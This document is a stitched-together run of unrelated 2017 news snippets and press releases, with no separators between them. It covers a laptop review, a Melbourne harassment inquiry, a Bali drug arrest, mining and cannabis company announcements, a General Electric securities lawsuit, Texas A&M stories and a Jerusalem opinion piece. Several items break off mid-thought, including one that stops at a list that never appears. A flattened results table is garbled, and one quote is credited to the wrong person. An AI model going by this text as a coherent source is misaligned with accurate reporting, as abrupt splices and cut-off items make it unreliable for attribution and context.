With a 17.3-inch screen, a Core i7 Kaby Lake processor and a beautiful, comfortable design in black aluminum crammed into a shell only 2.2cm thick, this is an absolute beast of a laptop that also manages to look and feel premium and classy.

The Blade Pro is big, bit it's thin and light by 17-inch gaming laptop standards.

This is a big machine, but the benefit of that is that it doesn't feel cramped. The keys are well-spaced and have a really nice deep-feeling travel you won't get on a standard productivity-focused laptop. The large touchpad is offset on the right instead of being below the keys, which makes sense for gaming but I actually like it for general browsing and word processing too. A nearby scrollwheel is a genius idea. I used it to control the volume, but it can be programmed to perform whatever function you like.

Like the Blade and Blade Stealth, the Pro also features Razer's Chroma lighting system, with each key (as well as the scrollwheel and the lining of the touchpad) individually RGB lit. This means you can choose any colour for your backlight, or you can have the whole board animate in rainbows or coloured waves. For a more practical touch you can colour code your keys however you like, which can be handy for Photoshop shortcuts or strategy games. Certain apps and games can also take control of the lighting for a variety of effects.
Australian researchers have revealed the only treatment scientifically shown to help beat office-related neck pain  and it's not ergonomic adjustment.

University of Queensland researchers, working with colleagues in Denmark, looked at the scientific evidence for exercise, stretching, regular screen breaks, and ergonomic adjustment to help relieve neck pain in office workers. They found most were unsupported by rigorous studies.

Only one thing worked consistently: a targeted program to strengthen the muscles of the neck, shoulders and back.

The finding may comes as a shock to major companies, many of which have implemented a range of expensive solutions, including ergonomic assessments.
The independent investigation into the explosive sexual harassment allegations against Lord Mayor Robert Doyle began on Tuesday.

Councillors were offered interview times with Ian Freckelton QC, who has pledged to conduct the investigation quickly. "There is no specific time frame but it will be completed as quickly as possible consistent with extending fairness to all involved," he told the ABC on Monday.

Melbourne lord mayor Robert Doyle. Credit:AAP

The investigation is likely to be finished by mid-January.

Cr Doyle will take leave for a month while the investigation takes place. He has also stepped aside from his role as the chair of Melbourne Health, which runs Royal Melbourne Hospital.
Israeli Prime Minister Benjamin Netanyahu has agreed to review the delay in extraditing an ultra-orthodox Jewish principal accused of sexually abusing girls in a Melbourne school before fleeing to Israel.

Premier Daniel Andrews confirmed he raised the matter with Mr Netanyahu during a visit to Israel earlier this month.

Malka Leifer is a former principal of the Adass Israel School in Elsternwick.

Malka Leifer, a former principal at the Adass Israel School in Elsternwick, is wanted by Victoria Police over multiple counts of alleged sexual assault and rape.

But she fled to Israel in 2008 after the allegations against her emerged without facing the Victorian justice system.
Proposed changes to WA's tenancy laws will go a long way to supporting victims of domestic violence, the state government says.

Cabinet revealed on Tuesday it had approved amendments to the Residential Tenancies Act and the Residential Parks (Long-stay Tenants) Act, which will provide more options and greater support for those experiencing family and domestic violence and their children.

The amendments are aimed at giving victims better choices.

The amendments are aimed at giving victims better choices, including whether to stay in a tenancy or move to safer accommodation, or remove tenancy-related concerns, which are barriers to leaving a violent relationship.

The proposed changes for victims include:
Bali: Australian accountant Isaac Emmanuel Roberts has been arrested after he was allegedly caught with drugs at Bali's international airport.

Customs authorities said the 35-year-old from Queensland was arrested after arriving from Bangkok with 19 grams of shabu, a slang term for the drug amphetamine, and ecstasy pills.

Customs officer Husni Syaiful said the Australian would face charges of importing more than five grams of drugs under article 113. Under Indonesian law the maximum punishment is the death penalty and the minimum five years' jail.

The man and two other foreigners from Malaysia and the US were paraded before the media on Tuesday wearing orange jumpsuits with balaclavas over their heads at Ngurah Rai customs office, near Bali's international airport. Their arrests were unrelated.
VANCOUVER, British Columbia, Dec. 18, 2017 (GLOBE NEWSWIRE) -- Sienna Resources (TSX.v:SIE) (FSE:A1XCQ0) (OTCBB:SNNAF) is proposing a non-brokered private placement to consist of up to ten million units at 20 cents per unit for gross proceeds of up to $2-million. Each unit will consist of one common share in the capital of the company and one transferable share purchase warrant, exercisable at 30 cents for a period of five years. The private placement is subject to approval of the TSX Venture Exchange.



Sienna Resources Inc. plans to rely upon the existing security holder exemption found in B.C. Instrument 45-534 (Exemption from Prospectus Requirement for Certain Trades to Existing Security Holders) and as further described in Multilateral CSA Notice 45-313 (Prospectus Exemption for Distributions to Existing Security Holders (published March 13, 2014)) or analogous exemptions in each of the applicable permitted jurisdictions for shareholders of record as of Dec. 15, 2017, as well as other exemptions. As at the date hereof, the existing security holder exemption is available in each of the provinces of Canada, with the exception of Newfoundland and Labrador. A finder's fee may be paid in accordance with regulatory policies.

In addition to the existing security holder exemption and other available prospectus exemptions, a portion or all of the offering may be completed pursuant to Multilateral CSA Notice 45-318 (Prospectus Exemption for Certain Distributions through an Investment Dealer), and the corresponding blanket orders and rules implementing CSA Notice 45-318 in the participating jurisdictions in respect thereof. As at the date hereof, the exemption available under CSA Notice 45-318 is available in each of Alberta, British Columbia, Saskatchewan, Manitoba and New Brunswick. Pursuant to CSA Notice 45-318, each subscriber relying on the investment dealer exemption must obtain advice regarding the suitability of the investment from a registered investment dealer. There is no material fact or material change of the company that has not been generally disclosed.

As required by B.C. Instrument 45-534 and CSA Notice 45-318, the attached table sets out the intended use of proceeds of the offering on a percentage basis. The intended uses of proceeds and/or the company's development capital needs may vary based upon a number of factors.

Estimated fund allocation is as follows.

Work programs on its properties: 50 per cent

Working capital: 48 per cent

Loans Payable: 2 per cent

Total: 100 per cent

Unless the company determines to increase the size of the offering, if subscriptions received for the offering based on all available exemptions exceed the offering amount of $2-million, units will be allocated pro rata amongst all subscribers qualifying under all available exemptions.

If you are an existing security holder or qualified person with respect to the existing security holder exemption or the investment dealer exemption noted above and you have interest in this offering, please call or e-mail the company.

Any questions or inquires about this placement please call President Jason Gigliotti directly at 604 646 6900 or toll free 1 855 646 6901 or email info@siennaresources.com

About Sienna Resources Inc.:

Recently Sienna received TSX Venture approval to go forward into an exploration and option agreement to acquire the Slattberg Cobalt-Nickel-Copper Project in Sweden (the Project). The Project consists of two adjacent exploration permits comprising approximately 9513 contiguous acres.

Jason Gigliotti president of Sienna states, We are very pleased to receive approval for this exciting cobalt-nickel-copper prospect. Cobalt prices have just crossed fresh nine year highs as of yesterday, and we look forward to advancing this prospect. There are 12 historic mines on this property and with modern mining approaches, we are very optimistic about what this project could contain. We expect to be drilling early 2018 as the project is drill ready now.

Northvolt is planning to be the largest battery factory in Europe at roughly the same size as Teslas Gigafactory. Jason Gigliotti states Northvolt wants to locally source as much battery material as possible such as cobalt and nickel. There are now more than 20 mega battery factories currently being planned or constructed globally, creating a massive demand on the battery metals such as lithium, cobalt and nickel. Sienna is focused on exploring and developing projects that will meet this insatiable demand.

Slattberg is located 25 kilometers northwest of Falun, Sweden. Slattberg is a historic mining camp hosting cobalt-nickel-copper rich massive sulfide mineralization that occurs within a two kilometer belt of historic nickel-copper mines. The Project contains drill defined massive sulfide mineralization that extends to ~100 meters in depth, and remains open for expansion at depth and along strike. The Project is accessible year round, with nearby rail, power and 5 smelters in the Nordic region. At least 12 historic mines are located on the property, with historic operations dating back to the late 1800s.

To see an image of the Geophysics and Target Map, please visit: https://orders.newsfilecorp.com/files/854/31425_a1513643148894_29.jpg

Mineralization at Slattberg is hosted by 1.8-1.9 Ga (Svecofennian) supracrustal rocks (metavolcanics and metasediments) located along the southwestern flank of a large gabbroic intrusive complex. The historic mines are positioned along an east-west trend of massive sulfide occurrences developed in and around a similarly oriented body of leptite. This is a local term used to describe rhyolitic/felsic tuffaceous rocks commonly associated with sulfide mineralization in Bergslagen. Mafic and ultramafic rocks also occur in and around the mine workings.

Sweden is at the forefront of an exploration and development boom in the mining industry. The country's favorable business environment includes a low corporate income tax rate, a proactive geological survey, and broad public support for export-led resource extraction. Sweden has a long history of mining, and is host to some of Europes largest active mines.

The technical contents of this release were approved by Greg Thomson, PGeo, a qualified person as defined by National Instrument 43-101.

Sienna has launched its new corporate website and branding. Please visit the site at www.siennaresources.com

If you would like to be added to Siennas email list please email info@siennaresources.com for information or join our twitter account at @SiennaResources

Contact Information

Tel: 1.604.646.6900

Fax: 1.604.689.1733

www.siennaresources.com

info@siennaresources.com

Jason Gigliotti

President, Director

Sienna Resources Inc.

Neither the TSX Venture Exchange nor its Regulation Services Provider (as that term is defined in the policies of the TSX Venture Exchange) accepts responsibility for the adequacy or accuracy of this press release.
Washington: President Donald Trump said an Amtrak passenger train derailment that killed at least six people in Washington state bolstered his case for investing in the nation's crumbling infrastructure.

"The train accident that just occurred in DuPont, WA shows more than ever why our soon to be submitted infrastructure plan must be approved quickly," Trump said in a tweet. "Seven trillion dollars spent in the Middle East while our roads, bridges, tunnels, railways (and more) crumble! Not for long!"

An investigator takes photos off a railroad bridge at the scene of where an Amtrak train derailed in DuPont, Washington. Credit:AP

Trump has said he will introduce a $US1 trillion proposal to upgrade roads, bridges, airports and other public infrastructure. The White House plan calls for allocating at least $US200 billion in federal funds over 10 years to spur at least $US800 billion in spending by states, localities and the private sector. Trump plans to release details of the proposal in early January, a senior administration official said.

The high-speed train that derailed Monday was travelling for the first time on newly-built tracks at the time of the accident, according to the Associated Press.
NEW YORK, Dec. 18, 2017 (GLOBE NEWSWIRE) -- Labaton Sucharow LLP (Labaton Sucharow) announces that on December 18, 2017, it filed a securities class action lawsuit on behalf of its client Tampa Maritime Association-International Longshoremens Association Pension Plan (TMA-ILA) against General Electric Company (General Electric or the Company) (NYSE:GE), and certain of its senior executives (collectively, Defendants). The action, which is captioned Tampa Maritime Association-International Longshoremens Association Pension Plan v. General Electric Company, No. 1:17-cv-09888 (S.D.N.Y.), asserts claims under Sections 10(b) and 20(a) of the Securities Exchange Act of 1934 (the Exchange Act), and U.S. Securities and Exchange Commission (SEC) Rule 10b-5 promulgated thereunder, on behalf of all persons or entities who purchased or otherwise acquired the publicly traded securities of General Electric between December 15, 2016 and November 10, 2017, inclusive (the Class Period).



The Complaint expands the class period asserted in the related consolidated action against General Electric, captioned Hachem v. General Electric Company, No. 1:17-cv-08457-JMF (S.D.N.Y.) (Hachem), which is presently pending before the Honorable Jesse M. Furman. Pursuant to the notice published on November 1, 2017 in connection with the filing of the first-filed Hachem action, as required by the Private Securities Litigation Reform Act of 1995, investors wishing to serve as Lead Plaintiff in the securities actions pending against General Electric are required to file a motion for appointment as Lead Plaintiff by no later than January 2, 2018.

General Electric is a multi-national conglomerate with operations that are organized across various business segments, including GE Power, GE Capital, and Oil & Gas. The Complaint alleges that during the Class Period, General Electric failed to disclose that: (1) the Companys various operating segments, including the Power and Oil & Gas segments, were underperforming Company projections, with order drops, excess inventories and increased costs; (2) GE Capitals long-term care reserves were understated by billions of dollars in violation of applicable accounting and insurance regulations; (3) by materially under-reserving for liabilities related to long-term care policies, General Electric was able to maintain cash flow for its quarterly dividend payments; and (4) as a result of the foregoing, General Electric materially overstated its earnings and cash flows during the Class Period.

On October 20, 2017, the Company disclosed disappointing results in the Power segment and revealed elevated claims within GE Capitals legacy insurance business, forcing the Company to suspend the payment of approximately $3 billion of additional GE Capital dividends to General Electric. On this news, the Companys stock price fell $1.51 per share, or nearly 7 percent, to close at $22.32 per share on October 23, 2017. Thereafter, on November 13, 2017, General Electric shocked the market by slashing its annual dividend in half, from $0.96 to $0.48 per share, as the Company confirmed that GE Capital would not be paying a dividend to General Electric in 2018. On this news, General Electrics stock price fell $1.47 per share, or over 7 percent, to close at $19.02 per share on November 13, 2017.

If you purchased or acquired General Electric securities during the Class Period, you are a member of the Class and may be able to seek appointment as Lead Plaintiff. Lead Plaintiff motion papers must be filed with the U.S. District Court for the Southern District of New York no later than January 2, 2018. The Lead Plaintiff is a court-appointed representative for absent members of the Class. You do not need to seek appointment as Lead Plaintiff to share in any Class recovery in this action. If you are a Class member and there is a recovery for the Class, you can share in that recovery as an absent Class member. You may retain counsel of your choice to represent you in this action.

If you would like to consider serving as Lead Plaintiff or have any questions about this lawsuit, you may contact Francis P. McConville, Esq. of Labaton Sucharow, at (800) 321-0476, or via email at fmcconville@labaton.com. You can view a copy of the complaint online at http://www.labaton.com/en/cases/Tampa-Maritime-Association-International-Longshoremens-Association-Pension-Plan-v-General-Electric.cfm.

TMA-ILA is represented by Labaton Sucharow, which represents many of the largest pension funds in the United States and internationally with combined assets under management of more than $2 trillion. Labaton Sucharows litigation reputation is built on its half-century of securities litigation experience, more than 60 full-time attorneys, and in-house team of investigators, financial analysts, and forensic accountants. Labaton Sucharow has been recognized for its excellence by the courts and peers, and it is consistently ranked in leading industry publications. Offices are located in New York, NY, Wilmington, DE, Washington, D.C., and Chicago, IL. More information about Labaton Sucharow is available at www.labaton.com.

Source: Labaton Sucharow LLP




VANCOUVER, British Columbia, Dec. 19, 2017 (GLOBE NEWSWIRE) -- Cannabis Wheaton Income Corp. (d/b/a Wheaton Income) (TSX.V:CBW) (Wheaton Income or the Company) is pleased to announce that it has entered into an exclusive data licensing agreement (the Agreement) with a prominent Canadian cannabis testing, analysis and rating company (the Licensor).



Pursuant to the Agreement, the Licensor will grant the Company an exclusive license to all current and future proprietary cannabis testing, review and ranking data (the Data) for a term of two years. The Licensor has tested, reviewed and ranked over 2,000 Canadian cannabis samples to date, including some of the most popular strains sold by licensed producers under the ACMPR, with the objective of analyzing the cannabinoid content, terpene profile and aesthetic characteristics of such samples and ranking over 6,000 cannabis strain samples over the next two years. The Data will consist of various objective data points including, strain information, cannabinoid content (THC, CBD, CBG, CBN, CBG), terpene content, as well as any additional data derived from associated laboratory tests such as microbial, chemical and pesticide content.

The Data will provide the Company with valuable insights from cannabis obtained by authorized patients across Canada. Using the Licensors proprietary algorithms, the resulting Data offers sophisticated analysis into the quality, stability, and value of various cannabis strains, lots and batches. The Company believes that the Data is an important source of information and will provide the Company and its various partners and distribution channels with the necessary methodology to rank and rate cannabis available for purchase across Canada at any given time. This will give the Company the ability to provide purchasers with an objective basis upon which to compare and price available product supply and make purchasing decisions on an informed basis.

Under the terms of the Agreement, the Licensor will receive an upfront licensing fee of $341,250 payable in common shares of the Company (the Common Shares) at a deemed price of $0.95 per Common Share as well as up to 200,000 warrants to purchase Common Shares upon the achievement of certain milestones, which will have an exercise price equal to the greater of: (i) the closing market price on the day of issuance plus 10%; and (ii) $1.00 (the Warrants). The issuance of the Common Shares and the Warrants remains subject to approval by the TSX Venture Exchange.

Chuck Rifici, Chairman and CEO of Wheaton Income, stated, We are excited to have access to proprietary data that will afford Cannabis Wheaton the ability to develop broad market intelligence and provide its platform partners with a unique tool to make better cultivation, sales and purchasing decisions.

ON BEHALF OF THE BOARD

"Chuck Rifici" Chairman & CEO

About Wheaton Income. (TSX.V:CBW)

Wheaton Income is a collective of entrepreneurs with a passion for the cannabis industry past, present and future. Our mandate is to facilitate growth for our partners by providing them with financial support and sharing our collective industry experience. Our partners all have different visions, voices and brand values, and all share a common goalto build a world-class industry based on ethics, diversity, quality and innovation.

Stay Connected:

For more information about Cannabis Wheaton and our management team, please visit: http://www.wheatonincome.com or follow us on Twitter @WheatonIncome. Call: 1.604.687.7130 Email: Mario@skanderbegcapital.com (http://www.skanderbegcapital.com).

Media Contact:

Sarah Bain, VP External Affairs

Email: sarah@cannabiswheaton.com

Phone: 613.230.5869

Forward-Looking Information

This news release contains certain "forward-looking information" within the meaning of applicable Canadian securities law. Forward-looking information is frequently characterized by words such as "plan", "continue", "expect", "project", "intend", "believe", "anticipate", "estimate", "may", "will", "potential", "proposed" and other similar words, or information that certain events or conditions "may" or "will" occur. This information is only a prediction. Various assumptions were used in drawing the conclusions or making the projections contained in the forward-looking information throughout this news release. Forward-looking information includes, but is not limited to: regulatory or political change, the ability to exploit the Data for the benefit of the Company, obtaining the necessary approvals, including from the TSX Venture Exchange, the ability to generate revenue through the streaming agreements, requirements to obtain additional financing, timeliness of government approvals for granting of permits and licences, including licences to cultivate and sell cannabis, completion of the facilities, where applicable, actual operating performance of the facilities, competition and other risks affecting the Company in particular and the cannabis industry generally. Forward-looking information is based on the opinions and estimates of management at the date the information is made, and is subject to a variety of risks and uncertainties and other factors that could cause actual events or results to differ materially from those projected in the forward-looking information. The Company is under no obligation, and expressly disclaims any intention or obligation, to update or revise any forward-looking information, whether as a result of new information, future events or otherwise, except as expressly required by applicable law.

Neither TSX Venture Exchange nor its Regulation Services Provider (as that term is defined in the policies of the TSX Venture Exchange) accepts responsibility for the adequacy or accuracy of this release
Media contact: Blair Fannin, 979-845-2259, b-fannin@tamu.edu

Contact: Dr. Jeff Savell, 979-845-3992 , j-savell@tamu.edu

COLLEGE STATION  Texas barbecue owners and pitmasters from across the Lone Star state gathered at Texas A&M University in College Station recently for the Fourth Texas Barbecue Town Hall meeting.

About 50 people were in attendance, receiving updates on livestock and meat markets for beef, pork, chicken and turkey by Dr. David Anderson, Texas A&M AgriLife Extension Service livestock marketing economist in College Station.

Anderson said demand continues to be steady for U.S. beef.

Overall, 2017 has been a good year for beef demand, he said. We started Jan. 1 with 31 million head of cattle and we are back to inventory levels that we had prior to the 2011 drought. Looking ahead, Im predicting more beef because we are growing supplies. That will lead to lower prices through 2019.

Steady demand from the restaurant sector is also helping move supplies of beef.

Anderson forecast supplies of beef growing and lower prices heading into 2018 and on into 2019.

Participants were served prime smoked top butt beef sirloin during lunch.

We want to surely thank Ronnie and Brek Webber from Tin Roof BBQ in Atascocita, said Dr. Jeff Savell, meeting coordinator and distinguished professor and E.M. Manny Rosenthal Chairholder in the department of animal science. The smoked sirloin along with wonderful sides of potato salad and broccoli, cheese and rice casserole were a hit. We thank them so much for coming up to the meeting and preparing such great food for us.

Lunch was followed by a carcass evaluation segment, then participants moved to the Rosenthal Meat Center classroom to learn more about beef carcass cut-out utilization and value.

Dr. Davey Griffin, Texas A&M AgriLife Extension Service meat specialist, showed some of the muscles that could be used for barbecue along with other cooking applications. He also answered questions from participants about where the cuts came from.

Ray Riley, manager of the Rosenthal Meat Science and Technology Center, discussed upcoming changes to U.S. Department of Agriculture beef quality grading system, which now allows dentition to determine the maturity of carcasses.

The workshop also featured brisket aging research by McKensie Harris, graduate teaching/research assistant in the department of animal science. The project was funded by Beef Checkoff and focused on whether aging briskets prepared as Texas-style barbecue benefit from aging the same way as beef ribeyes and strips.

The study found that aging did not impact brisket palatability, that briskets can be cooked without concern about aging. The research also found consumers rated samples from the flat higher than samples from the point of the brisket. However, samples from the point were more tender than from the flat. The research has been published in Meat and Muscle Biology, http://bit.ly/2oi8yHY.

Also assisting with the workshop were student workers Kirby Bohls, Kenna Turner and Jordan Hevner. Graduate student Clay Eastwood helped with the beef carcass and cut-out value demonstrations.

The meeting was sponsored by the E.M. Manny Rosenthal Chair in the department of animal science at Texas A&M.

-30-
Grimes County authorities were investigating Friday after a 35-year-old man was killed while walking along Texas 105 early Monday.

Officials said Michael R. Bell of Austin was hit by a vehicle while he was walking on the shoulder of the highway east of Navasota around 5 a.m. The driver left the scene of the crash without contacting law enforcement.

Authorities from the Texas Department of Public Safety, Texas Rangers, and Grimes County Sheriffs Office were called after someone reported seeing his body near the westbound shoulder of the road around 10:20 a.m.

Sgt. Jimmy Morgan, a spokesman for the Texas Department of Public Safety, said authorities believe Bell, who had been living in Navasota, was walking to work at the time of the accident, which occurred on a foggy morning before the sun had risen. Morgan said a motorist had reported seeing a man walking around 5 a.m., and that the listed time of the crash is an approximation.

Precinct 2 Justice of the Peace Judge Lester Underwoood pronounced Bell dead at the scene just after 11 a.m. Monday. Bell was taken to Nobles Funeral Home in Navasota.

Morgan said Bells body had been about 10 feet from the highways shoulder. He said that was likely where the body landed after being struck by the vehicle.

The investigation is ongoing. Authorities are asking anyone with information or anyone who may have seen Bell walking along the side of the road Monday to contact the Grimes County Sheriffs Office at 936-873-2151.
After starting as an intern in 1986, Maggie Gartner's time at Texas A&M University is coming to a close this month as she retires from the position of executive director of student counseling services.

Gartner said while there was a roughly 10-year period during which she left for the University of Washington, Aggieland is, and will continue to be, her home.

"I am leaving feeling treasured and loved," said Gartner, who returned to A&M in 2001 as director of student counseling services. "I am so grateful and have been so privileged to work for Texas A&M for almost 23 years. This place drew me in from the very first day when I accidentally walked on the MSC lawn, and it continues to hold my heart today."

The university held a retirement reception for Gartner Monday in the Memorial Student Center where more than 100 colleagues gathered to celebrate her years of service and the impact she has made on the A&M community. The celebration included songs by the Friends Congregational Church choir, where she attends and is a part of the group, remarks by Dean of Student Life Anne Reber and Vice President for Student Affairs Daniel J. Pugh, as well as a video message from former A&M employee David W. Parrott, who serves as vice president for student affairs at the University of Florida.

Pugh said although he has only known Gartner since 2015, it became apparent to him that she "has been a true steward of the Aggie core values."

"Since her first stint here in 1986 as a counseling intern, she has always celebrated the dignity of the individual, and she has continued that throughout her professional career," Pugh said. "At the core of Maggie's heart is what I believe is the soul of a servant, someone who each and every day gave the absolute best of herself to us for our betterment. She did it with her peers, she did it with her friends and she did it with our students. I'm absolutely certain that the next chapter of her life will continue this narrative of selfless service."

Reber added that Gartner -- who has served under nine university presidents in her time at A&M -- has long been a critical player in finding ways to help students succeed. She said Gartner was always there to lend support to her colleagues and "always had the right words, the right advice for almost any situation."

Though she may have portrayed a "grandmotherly side," Reber said Gartner was also a fierce advocate for the issues about which she is passionate.

"When you help students who are struggling, it's critical that you collaborate and you find people who can help you," Reber said. "Her staff will tell you that you want Maggie on your side when it's time for a fight for student services, for mental health programming, for whatever she believes is critical to the positive mental health of students."

Gartner said across her career, much has changed in the needs of the students and the demands they face in higher education.

She said while in the earliest days of her career much focus was placed on the areas of interpersonal relationships and academic success, recent years have shown students facing more anxiety and depression. Although the stigma of seeking counseling may have decreased, Gartner said a greater number of the students seeking support are coming to the office in crisis.

"Now what I've been seeing is a huge increase in anxiety and depression, and that's not unusual -- that's across the country," Gartner said. "Underlying all of that, particularly the anxiety, is academic performance. ... Students are more likely to come in if they're in crisis and need some help and, frankly, nobody gets through A&M without some help from their friends. I hope they look at us as friends that are going to help them get through."

Gartner said the primary goal of the counseling services has been to provide a place where students can come for support in the midst of their problems -- a task in which she feels confident they have succeeded.

Among her greatest concerns, however, is the increased availability of firearms and how that alone has led to what she considers an unquestioned increase in suicide rates. Gartner, who has long been affiliated with the Texas University Counseling Center Directors Association, said she has been disheartened to see the group's prediction of rising rates come true alongside the passage of state laws like the controversial statewide campus carry rules that began to go into effect in the fall of 2016.

"Access to guns is the biggest predictor of suicide, and we have pretty good access to guns in Texas," Gartner said. "No surprise, suicide rates have gone up here."

Gartner said despite it all, she has faith in the rising generation that she has spent recent years serving. She said they will do well as they go out to face the world and become the next generation of leaders.

"They are so capable, they are service-minded, they are helpful, loyal, dedicated, they're a whole lot of fun, they get things done and frankly, they're just amazing," Gartner said. "Don't anybody tell me that these students don't have what it takes, that they don't care about the world, they're weak and we coddle them. They are not. They handle the overwhelming stress of college with strength and courage. They are what makes Texas A&M such an awesome place and they have earned my undying admiration. I don't worry about our future because I know it's in good hands with our Aggies."

Reber said she plans to spend more time with her grandchildren, who live as close as Plano and as far as the East and West coasts, and to take time to travel -- with a trip to Italy planned for 2018.

Throughout her service, she said, she "couldn't have wished for more" when it came to the support and friendship she received from her colleagues and the A&M community.

"The faculty and staff are great and the students have been nothing but supportive," she said. "I can't think of anything more they could do. They've all just been pretty amazing."
The city of Bryan will open the holiday season with its annual Lights On! event from 6 p.m. to 9 p.m. Friday. The event is free to attend.
VANCOUVER, British Columbia, Dec. 19, 2017 (GLOBE NEWSWIRE) -- OK2 Minerals Ltd., (the Company) (TSX.V:OK) is pleased to report it has intersected widespread gold mineralization (482m of 0.19 g/t gold equivalent) on the inaugural diamond drill program at its 187km2 Pyramid gold copper project in NW British Columbia. Three holes, totaling 1,384 meters were drilled, with two holes targeting the West Zone and one hole targeting the Central Zone.



Highlights

Drill hole PD-17-02 (485m) returned 482m of 0.19 g/t Au Eq including 19m of 0.60 g/t Au Eq (101-120m) and 75 m of 0.35 g/t Au Eq (278-353m) and 24 m of 0.75 g/t Au Eq (455-479m).

including (101-120m) and (278-353m) and (455-479m). Drill hole PD-17-03 (390m) drilled 800m from 17-02 returned 26m of 0.40 g/t Au Eq (111-137m).

Given the large size of the West Zone target, the first two diamond drill holes, 800m apart, have only begun to test the mineralizing system and the Company intends to aggressively follow up on West Zone in 2018. Original interpretations have led OK2 to believe that mineralization was predominantly related to a porphyry event but given the widespread gold mineralization, the prospect has the potential to host a large bulk tonnage epithermal gold system and a gold-copper porphyry.

Mike Devji, CEO of OK2 Minerals states, We continue to be very encouraged by the ongoing progress at Pyramid. The wide zones of epithermal type veining with anomalous gold values gives evidence that a large hydrothermal event has taken place and warrants an aggressive, further targeted drill program in 2018. The years of work our geological team has compiled on the Pyramid, coupled with these early stage drilling results gives our shareholders excellent potential for a large scale discovery in one of the best mining jurisdictions in the world.

West Zone

Drill holes PD-17-02 and PD-17-03 were drilled 800m apart on the West Zone target and tested shallow to deep IP chargeability anomalies coincident with anomalous gold-copper soil and rock geochemistry.

Drill hole PD-17-02 (485m) returned 481.5m of 0.19 g/t Au Eq (0.16 g/t Au) including 19.2m of 0.60 g/t Au Eq (0.57 g/t Au) from 101m and 75.0m of 0.35 g/t Au Eq (0.32 g/t Au) from 278m. The hole is located 3.7km from Highway 37 and was collared to target highly anomalous copper and gold soil and rock geochemistry with a coincident IP chargeability anomaly. Drilling encountered anomalous background copper mineralization throughout the hole indicating the upper levels of a porphyry environment. Epithermal style gold and silver bearing quartz carbonate chlorite (hematite) veining overprints earlier porphyry alteration. Mineralization consists of fine grained disseminated pyrite in addition to occasional occurrences of visible gold. Mineralization is open in all directions and at depth.

Drill hole PD-17-03 (390m) collared above a chargeability high with coincident anomalous gold-copper soil geochemistry. It was drilled 73m to the south of RC drill hole PY-17-09 which encountered 9.14m of 0.13% Cu. Diamond drilling returned 26m of 0.40 g/t Au Eq (0.29 g/t Au) from 111m.

Central Zone

Drill hole PD-17-01 (509m) was completed in the covered Central Zone where soil geochemical and IP chargeability and resistivity anomalies occur. Earlier reverse circulation drilling on the target (NR dated Aug 14th, 2017) encountered zones of strong phyllic alteration within diorites. PD-17-01 drilled through diorites with anomalous background copper geochemistry and into andesites. The hole failed to return any significant intercepts; however, epithermal style alteration was present throughout the hole.

Hole Zone From

(m) To

(m) Length (m) + Au g/t Ag g/t Cu % Au Eq* g/t PD-17-01 Central No significant intercepts - - - - PD-17-02 West 3.5 485 482 0.16 0.12 0.02 0.19 including 101 120 19 0.57 0.34 0.02 0.60 including 278 353 75 0.32 0.17 0.01 0.35 including 455 479 24 0.71 0.21 0.02 0.74 Also including 464 465 1 11.97 2.44 0.02 12.03 PD-17-03 West 15 293 278 0.09 0.11 0.02 0.12 including 15 53 38 0.17 0.16 0.02 0.19 including 111 137 26 0.29 0.23 0.06 0.40





+ - True widths are unknown at this time, intervals reported represent core lengths.

* - Gold equivalent (Au Eg) was determined using: (US$) Au $1300/oz, Ag $16.50/oz, Cu $3.00/lb;

Au (g/t) + (Cu % x (Cu $/lb / Au $/oz) x 0.06857 lbs/oz + Ag g/t (Ag $/oz / Au $/oz)

ABOUT OK2 Minerals Ltd.

OK2 Minerals Ltd. is a Canadian-based junior exploration company comprised of highly qualified mining professionals with two very prospective copper-gold exploration projects, the Pyramid Project and the Kinskuch Project, both located in northwestern British Columbia on or within the Golden Triangle.

ON BEHALF OF THE BOARD OF

OK2 MINERALS LTD.

Per: Minaz Devji Minaz Devji,

CEO and Director

OK2 Minerals

Mike Devji

(604) 258-8666

mike.devji@ok2minerals.com

Investor Relations

Kin Communications

1-866-684-6730 (toll-free)

ok@kincommunications.com

This news release was prepared by Company management, who take full responsibility for its content. George Cavey P.Geo, Director, is a Qualified Person as defined by National Instrument 43-101 of the Canadian Securities Administrators and has reviewed and approved the technical disclosure in this release.

The diamond drill core samples were prepared and analyzed at the ISO certified SGS Canada Minerals facilities in Burnaby, BC using a GE-IC14A procedure. IC14A is an Aqua Regia Digestion with an ICP-AES as well as by a GE-IC14B procedure. IC14B is an Aqua Regia Digestion with ICP-MS finish. Assay results for gold were completed using the FAG303 procedure which is a 30g fire assay, gravimetric finish. The company routinely inserted known commercially prepared standards every 10th sample and did not detect any QC/QA concerns from the analytical results.

Neither TSX Venture Exchange nor its Regulation Services Provider (as that term is defined in the policies of the TSX Venture Exchange) accepts responsibility for the adequacy or accuracy of this release.
JERUSALEM  Palestinian Christians lit the giant Christmas tree in the Christian Quarter of the Old City of Jerusalem on Thursday. The annual Christmas Bazaar, its booths filled with sweets and carved olive wood gifts, opened as usual at the Jerusalem International YMCA (designed in the 1920s by the American architect of the Empire State Building), one of the few places in this divided city where Israeli Jews and Arabs mingle socially.

But the veneer of holiday normality barely hid the tension simmering here since President Donald Trump recognized Jerusalem as Israels capital early this month, making no distinction between the Jewish sector and the Arab neighborhoods Israel annexed in 1967.

Meantime, Vice President Mike Pence, whose visit to Jerusalem this week was supposed to highlight the plight of the Mideasts Christians, has canceled his planned visit to the Church of the Nativity (the governor of the Bethlehem told him hed be unwelcome). Pence, who postponed the trip so he could vote on the tax bill, has no current plan to visit Jerusalem churches, since church leaders urged Trump not to change the U.S. position on Jerusalem.

So its worth asking what exactly was changed by the presidents announcement.

Two things havent changed. First, Jerusalem is, and always was, the Israeli capital. This fact has not been recognized by other nations because Israel annexed the Arab parts of the city, whose fate would have to be resolved by negotiations if peace talks ever restart.

As far as many Israelis are concerned, this whole Jerusalem affair is a yawn. At a Shabbat dinner in the coastal city of Zichron Yaacov with Israeli Jewish friends  including two grandchildren serving in the army  the consensus was that Trump made a lot of trouble for no reason. Why did he have to throw a stink bomb into Jerusalem? I was asked.

The second thing that hasnt changed is that ordinary Palestinians  and their leadership  are weary and wary of another uprising.

On Friday, I stood by the plaza at the Old Citys Damascus Gate as (mostly peaceful) worshipers poured forth after praying at the Al-Aqsa Mosque. Small clusters of youths, and a few women, challenged the Israeli police who were lined up with guns and helmets above the plaza and gave chase.

However, the Palestinian reaction to Trump so far  while rhetorically strong  has been relatively limited on the ground, with Days of Rage bringing out modest amounts of demonstrators.

